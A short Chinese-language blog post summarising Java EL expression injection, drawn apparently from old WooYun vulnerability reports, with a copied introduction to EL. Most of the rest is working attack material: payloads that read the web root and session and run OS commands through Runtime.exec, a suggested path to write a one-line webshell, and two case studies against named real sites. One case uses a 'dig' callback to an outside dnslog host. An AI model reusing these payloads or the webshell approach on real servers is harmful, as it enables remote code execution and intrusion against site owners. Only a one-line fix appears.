看豬豬俠以前的洞,順便總結下:
一、EL表達式簡介
EL 全名為Expression Language。EL主要作用:
1、獲取數據
EL表達式主要用於替換JSP頁面中的腳本表達式,以從各種類型的web域 中檢索java對象、獲取數據。(某個web域 中的對象,訪問javabean的屬性、訪問list集合、訪問map集合、訪問數組)
2、執行運算
利用EL表達式可以在JSP頁面中執行一些基本的關系運算、邏輯運算和算術運算,以在JSP頁面中完成一些簡單的邏輯運算。${user==null}
3、獲取web開發常用對象
EL 表達式定義了一些隱式對象,利用這些隱式對象,web開發人員可以很輕松獲得對web常用對象的引用,從而獲得這些對象中的數據。
4、調用Java方法
EL表達式允許用戶開發自定義EL函數,以在JSP頁面中通過EL表達式調用Java類的方法。
嗯,這段復制的,詳細鏈接:https://www.cnblogs.com/xdp-gacl/p/3938361.html
檢測方式:
表達式執行會會顯在頁面上,檢查源碼。
漏洞利用:
${pageContext} 對應於JSP頁面中的pageContext對象(注意:取的是pageContext對象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 獲取web路徑
${header} 文件頭參數
${applicationScope} 獲取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 執行命令
滲透思路:獲取webroot路徑,exec執行命令echo寫入一句話。
烏雲案例一:
詳細說明:
#1 漏洞描述
EL表達式語法允許開發人員開發自定義函數,以調用Java類的方法
#2 影響服務器
http://**.**.**.**/merchant/enterprise/registerComUserForward.jhtml
#3 Paylod

漏洞證明:
#4 繞過WAF

#5 回顯命令執行

#6 列目錄
修復方案:
# 表達式不允許來自客戶端調用
烏雲案例二:
搜狗某系統存在遠程表達式注入漏洞(命令執行)
EL表達式語法允許開發人員開發自定義函數,以調用Java類的方法
詳細說明:
#1 漏洞地址
#2 表達式執行后的結果返回在頁面

獲取web路徑
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
file:/opt/local/resin/
漏洞證明:
EL表達式參考
http://www.cnblogs.com/xdp-gacl/p/3938361.html
利用方式1
#3 執行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}
CloudEYE:
讀取 ${sessionScope}, 獲取a=InputStream的回顯內容,a=java.io.BufferedInputStream@4d778271
獲取WebROOT
https://auth.p4p.sogou.com/login?service=${applicationScope}
然后就用命令向這個目錄/opt/app/eunomia/ 寫jsp文件了